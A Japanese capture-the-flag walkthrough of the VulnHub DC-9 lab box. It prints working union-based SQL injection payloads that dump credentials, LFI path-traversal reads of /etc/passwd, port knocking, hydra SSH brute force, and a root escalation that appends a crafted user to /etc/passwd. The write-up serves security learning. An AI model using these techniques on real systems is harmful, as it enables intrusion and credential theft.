0, DC-9について
VulnHubからダウンロードできる、脆弱性のあるボックスです。
1, nmapでスキャンする
/etc/hostsにDC-9のIPをdc9.localで解決できるよう記述した後、nmapでDC-9をスキャンします。
# nmap -Pn -T4 -A -oN report_nmap_dc9 dc9.local
# cat report_nmap_dc9
# Nmap 7.92 scan initiated Fri Jun 24 22:23:33 2022 as: nmap -Pn -T4 -A -oN report_nmap_dc9 dc9.local
Nmap scan report for dc9.local (192.168.100.52)
Host is up (0.00087s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Example.com - Staff Details - Welcome
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:C2:17:8F (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian))
という情報が得られました。
searchsploitでApache 2.4に脆弱性がないか調査します。
# searchsploit Apache 2.4
----------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------- ---------------------------------
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution | php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner | php/remote/29316.py
Apache 2.2.4 - 413 Error HTTP Request Method Cross-Site Scripting | unix/remote/30835.sh
Apache 2.4.17 - Denial of Service | windows/dos/39037.php
Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privilege Escalat | linux/local/46676.php
Apache 2.4.23 mod_http2 - Denial of Service | linux/dos/40909.py
Apache 2.4.7 + PHP 7.0.2 - 'openssl_seal()' Uninitialized Memory Code Execution | php/remote/40142.php
Apache 2.4.7 mod_status - Scoreboard Handling Race Condition | linux/dos/34133.txt
Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak | linux/webapps/42745.py
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service | multiple/dos/26710.txt
Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE) | multiple/webapps/50383.sh
Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE) | multiple/webapps/50406.sh
Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (2) | multiple/webapps/50446.sh
Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3) | multiple/webapps/50512.py
2, Webページの調査
searchsploitの結果、Metasploitなどで侵入することは難しそうです。
なので、地道にWebサイトを調査します。
入力フィールドがあるのは、SearchとManageです。
まずはManageでSQLインジェクションができないか試してみます。
だめでした。
次にSearchで、SQLインジェクションの検証をします。
成功です。SQLの脆弱性を利用し、情報を取得していきます。
3, カラム数の特定
表示されている画像から、Searchで生成されるクエリは、
select id, name, position, phone, email from table where name="{input}"
のようになっていることが予想できます。なので、テーブルのカラム数は5以上です。
カラム数が10を超えているか?その調査のためには、以下のクエリを投げれば良いです。
' or 1=1 order by 10 #
10列目の値で並べさせるクエリを送ります。結果、以下の結果が出力されました。
よって、列数は5~9であると分かります。
order byの数値を変えて調査を進めると、カラム数は6であると分かります。
' or 1=1 order by 6 # → 成功
' or 1=1 order by 7 # → 失敗
4, Union Based SQL Injection
次に、Union Based SQL Injectionという手法を使い調査を進めます。
Union Based SQL Injectionとは、unionを使い行を挿入することで内部情報を抜き取る手法です。
まずは、簡単なクエリを投げてみます。
' or 1=1 union select 1,2,3,4,5,6; #
ここで、4,5,6を数値ではなく関数に置き換えます。
' or 1=1 union select 1,2,3,user(),database(),version() ;#
クエリを発行したユーザー、使用中のDatabase、DBのバージョンを出力できました。
これを更に進め、スキーマの一覧を出力させます。
' or 1=1 union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata; #
Staffに含まれるテーブル一覧を取得します。
' or 1=1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='Staff'; #
StaffスキーマのUsersテーブルのカラムを取得します。
' or 1=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_name='Users'; #
UserID, Username, Passwordを取得します。
' or 1=1 union select 1,2,group_concat(UserID),group_concat(Username),group_concat(Password),6 from Users; #
UserID : 1,
Username : admin,
Password : 856f5de590ef37314e7c3bdf6f8a66dc
が得られました。
同様に、usersデータベースを調査します。
' or 1=1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='users'; #
→ UserDetails
' or 1=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_name='UserDetails'; #
→ id,firstname,lastname,username,password,reg_date
' or 1=1 union select 1,2,3,group_concat(username),group_concat(password),6 from users.UserDetails; #
得られたusernameとpasswordを保存しておきます。
5, ログイン、LFIの利用
パスワードハッシュを解析し、admin / transorbital1 で Manageにログインします。
ログインすると、フッターのエラーメッセージ "File does not exist" が目に付きます。
ttp://dc9.local/welcome.php?xxxx=xxxxのようにパラメータを指定して、/etc/passwdなどを表示させることができそうです。
パラメータ名を取得するため、ffufというツールを使います。
https://github.com/ffuf/ffuf
Burp SuiteなどでセッションIDを入手し、以下のコマンドを実行します。
burp-parameter-names.txt は↓からダウンロードします。
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/burp-parameter-names.txt
# ffuf -w burp-parameter-names.txt -u http://dc9.local/welcome.php?FUZZ=test_value -b "PHPSESSID=811tqnan26gfrdvq17hqpqfmpr" -fs 4242
...
________________________________________________
:: Method : GET
:: URL : http://dc9.local/welcome.php?FUZZ=test_value
:: Wordlist : FUZZ: burp-parameter-names.txt
:: Header : Cookie: PHPSESSID=811tqnan26gfrdvq17hqpqfmpr
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 4242
________________________________________________
12 [Status: 200, Size: 963, Words: 41, Lines: 43, Duration: 16ms]
11 [Status: 200, Size: 963, Words: 41, Lines: 43, Duration: 21ms]
1 [Status: 200, Size: 963, Words: 41, Lines: 43, Duration: 21ms]
APICpictureType [Status: 200, Size: 963, Words: 41, Lines: 43, Duration: 8ms]
AVSCV2 [Status: 200, Size: 963, Words: 41, Lines: 43, Duration: 8ms]
AMOUNT [Status: 200, Size: 963, Words: 41, Lines: 43, Duration: 8ms]
-fsの値を963に変えても、パラメータ名を検出できません。
ここで、LFI脆弱性がある前提で、引数に渡す値をファイルパスとしてffufを実行します。
# ffuf -w burp-parameter-names.txt -u http://dc9.local/welcome.php?FUZZ=../../../../../../etc/passwd -b "PHPSESSID=811tqnan26gfrdvq17hqpqfmpr" -fs 963
...
file [Status: 200, Size: 3316, Words: 71, Lines: 86, Duration: 17ms]
:: Progress: [6453/6453] :: Job [1/1] :: 1243 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
脆弱性のあるパラメータ名はfileです。
ttp://dc9.local/welcome.php?file=../../../../../../etc/passwd にアクセスします。
SQLインジェクションで得たusernameが、全てsshログイン可能となっています。
6, ユーザー権限取得
最初にnmapを実行したとき、
22/tcp filtered ssh
でした。
ポートノッキングで開けないか、/etc/knockd.conf を調べます。
7469, 8475, 9842 の順番でknockすれば22番ポートを開けます。
# knock dc9.local 7469 8475 9842
# nmap -p22 dc9.local
...
PORT STATE SERVICE
22/tcp open ssh
22番ポートに、hydraでブルートフォース攻撃を行います。
# hydra -L username.txt -P password.txt dc9.local ssh
...
[22][ssh] host: dc9.local login: chandlerb password: UrAG0D!
[22][ssh] host: dc9.local login: joeyt password: Passw0rd
[STATUS] 238.00 tries/min, 238 tries in 00:01h, 57 to do in 00:01h, 10 active
[22][ssh] host: dc9.local login: janitor password: Ilovepeepee
1 of 1 target successfully completed, 3 valid passwords found
username : janitor / password : Ilovepeepee でログインします。
janitor@dc-9:~$ whoami
janitor
janitor@dc-9:~$ pwd
/home/janitor
janitor@dc-9:~$ ls -al
total 16
drwx------ 4 janitor janitor 4096 Jun 25 14:31 .
drwxr-xr-x 19 root root 4096 Dec 29 2019 ..
lrwxrwxrwx 1 janitor janitor 9 Dec 29 2019 .bash_history -> /dev/null
drwx------ 3 janitor janitor 4096 Jun 25 14:31 .gnupg
drwx------ 2 janitor janitor 4096 Dec 29 2019 .secrets-for-putin
ログインできました。
7, 権限昇格
ログイン後、.secrets-for-putin/passwords-found-on-post-it-notes.txt を表示します。
janitor@dc-9:~$ ls -al
total 16
drwx------ 4 janitor janitor 4096 Jun 25 14:31 .
drwxr-xr-x 19 root root 4096 Dec 29 2019 ..
lrwxrwxrwx 1 janitor janitor 9 Dec 29 2019 .bash_history -> /dev/null
drwx------ 3 janitor janitor 4096 Jun 25 14:31 .gnupg
drwx------ 2 janitor janitor 4096 Dec 29 2019 .secrets-for-putin
janitor@dc-9:~$ cat .secrets-for-putin/passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
新たに見つけたパスワードリストを用いて、再度hydraでブルートフォース攻撃を行います。
# hydra -L username.txt -P password.txt dc9.local ssh
...
[22][ssh] host: dc9.local login: fredf password: B4-Tru3-001
[22][ssh] host: dc9.local login: chandlerb password: UrAG0D!
[22][ssh] host: dc9.local login: joeyt password: Passw0rd
[STATUS] 324.00 tries/min, 324 tries in 00:01h, 68 to do in 00:01h, 15 active
[22][ssh] host: dc9.local login: janitor password: Ilovepeepee
1 of 1 target successfully completed, 4 valid passwords found
hydraで新たに発見できたfredfにログインします。
他のアカウントでは、root権限で実行できるファイルはありませんが、
fredfは /opt/devstuff/dist/test/test をroot権限で実行できるようです。
/opt/devstuff/dist/test/test を調査します。
fredf@dc-9:~$ file /opt/devstuff/dist/test/test
/opt/devstuff/dist/test/test: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=28ba79c778f7402713aec6af319ee0fbaf3a8014, stripped
fredf@dc-9:~$ ls -al /opt/devstuff/dist/test/test
-rwxr-xr-x 1 root root 1212968 Dec 29 2019 /opt/devstuff/dist/test/test
testはroot権限が与えられた実行ファイルです。
実行ファイル周辺のファイルも調べます。すると、/opt/devstuff に test.py がありました。
fredf@dc-9:/opt/devstuff$ pwd
/opt/devstuff
fredf@dc-9:/opt/devstuff$ ls -al
total 28
drwxr-xr-x 5 root root 4096 Dec 29 2019 .
drwxr-xr-x 4 root root 4096 Dec 29 2019 ..
drwxr-xr-x 3 root root 4096 Dec 29 2019 build
drwxr-xr-x 3 root root 4096 Dec 29 2019 dist
drwxr-xr-x 2 root root 4096 Dec 29 2019 __pycache__
-rw-r--r-- 1 root root 250 Dec 29 2019 test.py
-rw-r--r-- 1 root root 959 Dec 29 2019 test.spec
test.py を表示します。
fredf@dc-9:/opt/devstuff$ cat test.py
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
第1引数のファイルを開き、内容を読みます。
その後第2引数に指定されたファイルに、読み込んだ内容を追記します。
/opt/devstuff/ 以下の実行ファイル、/opt/devstuff/dist/test/test はこのコードをコンパイルしたものと予想できます。
testを利用し、/etc/passwd にroot権限を持つ新たなユーザーを追加します。
fredf@dc-9:/opt/devstuff/dist/test$ pwd
/opt/devstuff/dist/test
fredf@dc-9:/opt/devstuff/dist/test$ openssl passwd -1
Password: (12345)
Verifying - Password: (12345)
$1$A4oy3Guw$MN1eMplrkMHQToSZWnqVu/
fredf@dc-9:/opt/devstuff/dist/test$ cat ~/exploit_passwd
pwned:$1$A4oy3Guw$MN1eMplrkMHQToSZWnqVu/:0:0:root:/root:/bin/bash
fredf@dc-9:/opt/devstuff/dist/test$ sudo ./test ~/exploit_passwd /etc/passwd
fredf@dc-9:/opt/devstuff/dist/test$ su pwned
Password: (12345)
root@dc-9:/opt/devstuff/dist/test# cd /root
root@dc-9:~# ls -al
total 32
drwx------ 5 root root 4096 Dec 29 2019 .
drwxr-xr-x 18 root root 4096 Dec 29 2019 ..
lrwxrwxrwx 1 root root 9 Dec 29 2019 .bash_history -> /dev/null
-rwx------ 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 3 root root 4096 Dec 29 2019 .cache
drwx------ 3 root root 4096 Dec 29 2019 .gnupg
drwx------ 3 root root 4096 Dec 29 2019 .local
-rwx------ 1 root root 148 Aug 18 2015 .profile
-rwx------ 1 root root 1821 Dec 29 2019 theflag.txt
theflag.txtを表示しましょう。
8, 参考資料
参考にさせていただいたwriteup
https://arz101.medium.com/vulnhub-dc-9-1db15e8b878e
https://grumpygeekwrites.wordpress.com/2021/06/06/dc-9-vulnhub-walk-through-tutorial-writeup/
https://www.hackingarticles.in/dc-9-vulnhub-walkthrough/
SQLiの学習に使った講座
https://www.udemy.com/course/sql-injections-unlocked-sqli-web-attacks/
権限昇格の学習に使った講座
https://www.udemy.com/course/the-complete-linux-privilege-escalation-course/